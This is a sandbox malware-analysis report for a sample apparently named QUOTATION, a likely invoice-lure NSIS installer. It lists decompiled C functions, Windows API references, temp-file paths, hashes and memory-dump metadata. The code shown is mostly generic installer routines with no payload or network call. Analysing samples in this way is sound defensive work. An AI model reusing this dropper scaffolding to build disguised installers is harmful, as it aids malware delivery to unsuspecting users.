GlobalAlloc.KERNEL32(00000040,00000010), ref: 6F6023E8
CLSIDFromString.OLE32(00000000,00000000), ref: 6F6023F6
GlobalFree.KERNEL32(00000000), ref: 6F6023FD

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: f919bc8982d37a2c4e09dfa64bb711ff3a94a808c85e9fa9f65f83299ff61ff0
Instruction ID: 17df3ebd863d3c0fabafc5cdfde8f3c89882a6626e0af5ed7c08f5259069c2fb
Opcode Fuzzy Hash: f919bc8982d37a2c4e09dfa64bb711ff3a94a808c85e9fa9f65f83299ff61ff0
Instruction Fuzzy Hash: CB41CF71508301EFD718AF25CB84BAAB7E8FF42325F30496EF556D6190DB30A944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004027A3 Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004027A3(void* __ebx) {
				void* _t26;
				long _t31;
				void* _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0xc)) = 0xfffffd66;
				_t50 = E00402B2C(0xfffffff0);
				 *(_t56 - 0x4c) = _t23;
				if(E004059DF(_t50) == 0) {
					E00402B2C(0xffffffed);
				}
				E00405B4E(_t50);
				_t26 = E00405B73(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x423718;
					 *(_t56 - 0x1c) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E004031ED(_t45);
						E004031D7(_t49,  *(_t56 - 0x1c));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x2c));
						 *(_t56 - 0x10) = _t54;
						if(_t54 != _t45) {
							_push( *(_t56 - 0x2c));
							_push(_t54);
							_push(_t45);
							_push( *((intOrPtr*)(_t56 - 0x30)));
							E00402FFB();
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x48) =  *_t54;
								E00405B2E( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x48);
							}
							GlobalFree( *(_t56 - 0x10));
						}
						E00405C1A( *(_t56 + 8), _t49,  *(_t56 - 0x1c));
						GlobalFree(_t49);
						_push(_t45);
						_push(_t45);
						_push( *(_t56 + 8));
						_push(0xffffffff);
						 *((intOrPtr*)(_t56 - 0xc)) = E00402FFB();
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0xc)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileA( *(_t56 - 0x4c));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x004027a3
0x004027a5
0x004027b1
0x004027b4
0x004027be
0x004027c2
0x004027c2
0x004027c8
0x004027d5
0x004027dd
0x004027e0
0x004027e6
0x004027f4
0x004027f9
0x004027fd
0x00402800
0x00402809
0x00402815
0x00402819
0x0040281c
0x0040281e
0x00402821
0x00402822
0x00402823
0x00402826
0x00402845
0x0040282d
0x00402832
0x0040283a
0x0040283d
0x00402842
0x00402842
0x0040284c
0x0040284c
0x00402859
0x0040285f
0x00402865
0x00402866
0x00402867
0x0040286a
0x00402871
0x00402871
0x00402877
0x00402877
0x00402882
0x00402883
0x00402887
0x0040288b
0x00402891
0x00402891
0x00402898
0x004022a4
0x004029bb
0x004029c7

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027F7
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402813
GlobalFree.KERNEL32(?), ref: 0040284C
GlobalFree.KERNEL32(00000000), ref: 0040285F
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 00402877
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040288B

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: d8962bc5da80a952d71843fdd2bcaf86795e36f6a6ef68a6a5081b931e868eb5
Instruction ID: ec0d33f595d451752a188c19515fdbd8f87975fde9c964b970e1a5072f162152
Opcode Fuzzy Hash: d8962bc5da80a952d71843fdd2bcaf86795e36f6a6ef68a6a5081b931e868eb5
Instruction Fuzzy Hash: 7D219C72C00124BBCF213FA5CD49DAE7F79EF09364B10823AF520762E0C67959419FA9

Uniqueness

Uniqueness Score: -1.00%

Function 004048B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E004048B1(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					_push(0x14);
					_pop(0);
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_t50 = 0x14;
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E00405FFC(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E00405FFC(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E00405FFC(_t41, _t47, 0x41fd08, 0x41fd08, _a8);
				wsprintfA(_t32 + lstrlenA(0x41fd08), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				return SetDlgItemTextA( *0x422ed8, _a4, 0x41fd08);
			}

0x004048b7
0x004048bc
0x004048c4
0x004048c5
0x004048d2
0x004048da
0x004048db
0x004048dd
0x004048df
0x004048e1
0x004048e4
0x004048e4
0x004048eb
0x004048f1
0x004048f1
0x004048f8
0x004048ff
0x00404902
0x00404905
0x00404905
0x00404909
0x00404919
0x0040491b
0x0040491e
0x004048c7
0x004048c7
0x004048ce
0x004048ce
0x00404926
0x00404931
0x00404947
0x00404957
0x00404973

APIs

lstrlenA.KERNEL32(Sepad149: Installing,Sepad149: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047CC,000000DF,00000000,00000400,?), ref: 0040494F
wsprintfA.USER32 ref: 00404957
SetDlgItemTextA.USER32(?,Sepad149: Installing), ref: 0040496A

Strings

Sepad149: Installing, xrefs: 00404941, 00404946, 0040494C, 00404960
%u.%u%s%s, xrefs: 00404939

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Sepad149: Installing
API String ID: 3540041739-3440464719
Opcode ID: 12f6fa3731befb5ff2bd286decedb689321e5faf0d4acc7877b9e8059f00797d
Instruction ID: 99a67daf6c97d227f7cf07030b4f4762c36886faa54bbd44db56b2f9a5a008fd
Opcode Fuzzy Hash: 12f6fa3731befb5ff2bd286decedb689321e5faf0d4acc7877b9e8059f00797d
Instruction Fuzzy Hash: 4F110D7350812937DB00656D9C45EEF328CDF85374F254637FA25F21D1EA78DC1252A8

Uniqueness

Uniqueness Score: -1.00%

Function 00401D41 Relevance: 7.6, APIs: 5, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00401D41(int __edx) {
				struct HWND__* _t24;
				CHAR* _t30;
				void* _t40;
				void* _t44;
				signed int _t46;
				int _t50;
				signed int _t53;
				void* _t57;

				_t48 = __edx;
				if(( *(_t57 - 0x2b) & 0x00000001) == 0) {
					_t24 = GetDlgItem( *(_t57 - 8), __edx);
				} else {
					_t24 = E00402B0A(1);
					 *(_t57 - 0x10) = _t48;
				}
				_t46 =  *(_t57 - 0x2c);
				 *(_t57 + 8) = _t24;
				 *(_t57 - 8) = _t46 >> 0x1f;
				_t50 = _t46 & 0x00000003;
				_t53 = _t46 & 0x00000004;
				 *(_t57 - 0x1c) = _t46 >> 0x0000001e & 0x00000001;
				if((_t46 & 0x00010000) == 0) {
					_t30 =  *(_t57 - 0x34) & 0x0000ffff;
				} else {
					_t30 = E00402B2C(_t44);
				}
				 *(_t57 - 0xc) = _t30;
				GetClientRect( *(_t57 + 8), _t57 - 0x58);
				asm("sbb esi, esi");
				_t40 = SendMessageA( *(_t57 + 8), 0x172, _t50, LoadImageA( ~_t53 &  *0x423700,  *(_t57 - 0xc), _t50,  *(_t57 - 0x50) *  *(_t57 - 8),  *(_t57 - 0x4c) *  *(_t57 - 0x1c),  *(_t57 - 0x2c) & 0x0000fef0));
				if(_t40 != _t44 && _t50 == _t44) {
					DeleteObject(_t40);
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t57 - 4));
				return 0;
			}

0x00401d41
0x00401d45
0x00401d58
0x00401d47
0x00401d49
0x00401d4f
0x00401d4f
0x00401d5e
0x00401d61
0x00401d6b
0x00401d72
0x00401d78
0x00401d84
0x00401d87
0x00401d91
0x00401d89
0x00401d8a
0x00401d8a
0x00401d95
0x00401d9f
0x00401dc4
0x00401ddd
0x00401de5
0x00401df4
0x00401df4
0x004029bb
0x004029c7

APIs

GetDlgItem.USER32(?), ref: 00401D58
GetClientRect.USER32(?,?), ref: 00401D9F
LoadImageA.USER32(?,?,?,?,?,?), ref: 00401DCD
SendMessageA.USER32(?,00000172,?,00000000), ref: 00401DDD
DeleteObject.GDI32(00000000), ref: 00401DF4

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7dc78e60c32ccc3c09c595abe6c2c4ca27936b49c459a2d12d3c5fdfefad9d6b
Instruction ID: 879b8917e8c3c9b7c2a93b5436fc05cb0971dbd0d1073f8587bede8dddcc77ec
Opcode Fuzzy Hash: 7dc78e60c32ccc3c09c595abe6c2c4ca27936b49c459a2d12d3c5fdfefad9d6b
Instruction Fuzzy Hash: CC2196B2E04109AFDB01DF98DD44AEE7BB5FB48300F10803AF905F6290C7789941CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00401DFF Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401DFF(intOrPtr __edx) {
				void* __esi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				struct HDC__* _t31;
				void* _t33;
				void* _t35;

				_t30 = __edx;
				_t31 = GetDC( *(_t35 - 8));
				_t9 = E00402B0A(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40a7e8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t31);
				 *0x40a7f8 = E00402B0A(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x24));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40a7ff = 1;
				 *0x40a7fc = _t15 & 0x00000001;
				 *0x40a7fd = _t15 & 0x00000002;
				 *0x40a7fe = _t15 & 0x00000004;
				E00405FFC(_t9, _t31, _t33, 0x40a804,  *((intOrPtr*)(_t35 - 0x30)));
				_t18 = CreateFontIndirectA(0x40a7e8);
				_push(_t18);
				_push(_t33);
				E00405F38();
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401dff
0x00401e0a
0x00401e0c
0x00401e19
0x00401e30
0x00401e35
0x00401e42
0x00401e47
0x00401e4b
0x00401e56
0x00401e5d
0x00401e6f
0x00401e75
0x00401e7a
0x00401e84
0x004025e4
0x00401569
0x00402960
0x004029bb
0x004029c7

APIs

GetDC.USER32(?), ref: 00401E02
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E1C
MulDiv.KERNEL32(00000000,00000000), ref: 00401E24
ReleaseDC.USER32(?,00000000), ref: 00401E35
CreateFontIndirectA.GDI32(0040A7E8), ref: 00401E84

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 02699fb8e5746cd42e9bc81a7398f0b4a801f797f07dd38d0fd2bed2daf6de53
Instruction ID: f74e6b169c59b5c86824efe7ff79e827475fcd3c365d9a6f340974a330803a43
Opcode Fuzzy Hash: 02699fb8e5746cd42e9bc81a7398f0b4a801f797f07dd38d0fd2bed2daf6de53
Instruction Fuzzy Hash: 6001B571948341AFE7019BB0AE49F9A7FB4EB15304F108479F201B72E2C6B851509B2F

Uniqueness

Uniqueness Score: -1.00%

Function 00401C0A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C0A(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				CHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t61;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402B0A(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 8) = _t29;
				_t30 = E00402B0A(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x20) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 8)) = E00402B2C(0x33);
				}
				__eflags =  *(_t64 - 0x20) & 0x00000002;
				if(( *(_t64 - 0x20) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402B2C(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x38)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t59 = E00402B2C();
					_t32 = E00402B2C();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t59;
					__eflags = _t35;
					_t36 = FindWindowExA( *(_t64 - 8),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t61 = E00402B0A();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402B0A(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x20) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8));
						L10:
						 *(_t64 - 0xc) = _t36;
					} else {
						_t42 = SendMessageTimeoutA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8), _t46, _t56, _t64 - 0xc);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x34)) >= _t46) {
					_push( *(_t64 - 0xc));
					E00405F38();
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c0a
0x00401c0c
0x00401c13
0x00401c16
0x00401c19
0x00401c23
0x00401c27
0x00401c2a
0x00401c33
0x00401c33
0x00401c36
0x00401c3a
0x00401c43
0x00401c43
0x00401c46
0x00401c4a
0x00401c4c
0x00401ca1
0x00401ca3
0x00401cac
0x00401cb4
0x00401cb7
0x00401cb7
0x00401cc0
0x00000000
0x00401c4e
0x00401c55
0x00401c57
0x00401c5a
0x00401c60
0x00401c67
0x00401c6a
0x00401c92
0x00401cc6
0x00401cc6
0x00401c6c
0x00401c7a
0x00401c82
0x00401c85
0x00401c85
0x00401c6a
0x00401cc9
0x00401ccc
0x00401cd2
0x00402960
0x00402960
0x004029bb
0x004029c7

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C7A
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C92

Strings

!, xrefs: 00401C46

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e636c23a318330d9371fb32b1eb0c44089503781878c3c5c4e956135cb08f77e
Instruction ID: 5540d85999f992b2d0d9c3d63f09df6deeece4c427f082cd61f041684b2cd5b6
Opcode Fuzzy Hash: e636c23a318330d9371fb32b1eb0c44089503781878c3c5c4e956135cb08f77e
Instruction Fuzzy Hash: 6E216BB1D48208BEEF06AFB4D98AAAD7FB5EB44304F10447EF501B61D1C7B89640DB18

Uniqueness

Uniqueness Score: -1.00%

Function 00405A60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405A60(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				void* _t22;

				E00405FDA(0x421110, _a4);
				_t21 = E00405A0B(0x421110);
				if(_t21 != 0) {
					E00406244(_t21);
					if(( *0x42371c & 0x00000080) == 0) {
						L5:
						_t22 = _t21 - 0x421110;
						while(1) {
							_t11 = lstrlenA(0x421110);
							_push(0x421110);
							if(_t11 <= _t22) {
								break;
							}
							_t12 = E004062DD();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E004059B9(0x421110);
								continue;
							} else {
								goto L1;
							}
						}
						E00405972();
						return 0 | GetFileAttributesA(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405a6c
0x00405a77
0x00405a7b
0x00405a82
0x00405a8e
0x00405a9a
0x00405a9a
0x00405ab2
0x00405ab3
0x00405aba
0x00405abb
0x00000000
0x00000000
0x00405a9e
0x00405aa5
0x00405aad
0x00000000
0x00000000
0x00000000
0x00000000
0x00405aa5
0x00405abd
0x00000000
0x00405ad1
0x00405a90
0x00405a94
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a94
0x00405a7d
0x00000000

APIs

Part of subcall function 00405FDA: lstrcpynA.KERNEL32(?,?,00000400,00403307,00422F00,NSIS Error,?,00000006,00000008,0000000A), ref: 00405FE7

Part of subcall function 00405A0B: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,?,00405A77,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,76B43410,?,C:\Users\user\AppData\Local\Temp\,004057C2,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405A19
Part of subcall function 00405A0B: CharNextA.USER32(00000000), ref: 00405A1E
Part of subcall function 00405A0B: CharNextA.USER32(00000000), ref: 00405A32

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,76B43410,?,C:\Users\user\AppData\Local\Temp\,004057C2,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405AB3
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,76B43410,?,C:\Users\user\AppData\Local\Temp\,004057C2,?,76B43410,C:\Users\user\AppData\Local\Temp\), ref: 00405AC3

Strings

C:\Users\user\AppData\Local\Temp\nsg9F21.tmp, xrefs: 00405A66, 00405A6B, 00405A71, 00405AAC, 00405AB2, 00405ABA, 00405AC2
C:\Users\user\AppData\Local\Temp\, xrefs: 00405A60

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsg9F21.tmp
API String ID: 3248276644-299982007
Opcode ID: 3d72b69990c89283bdec6022929649575e9d0056fbfb1b91cb3bf573b4946918
Instruction ID: fa13fd96d81fd76c8fc81ec80775158a1daeec84e0c55be597840f6fdc29cec0
Opcode Fuzzy Hash: 3d72b69990c89283bdec6022929649575e9d0056fbfb1b91cb3bf573b4946918
Instruction Fuzzy Hash: D5F0C825305D6616D62233361C85EAF1649CE82364715473FF851B12D3DB3C8943DE7E

Uniqueness

Uniqueness Score: -1.00%

Function 00405972 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405972(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409014);
				}
				return _t7;
			}

0x00405973
0x0040598a
0x00405992
0x00405992
0x0040599a

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403222,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 00405978
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403222,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 00405981
lstrcatA.KERNEL32(?,00409014,?,00000006,00000008,0000000A), ref: 00405992

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405972

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

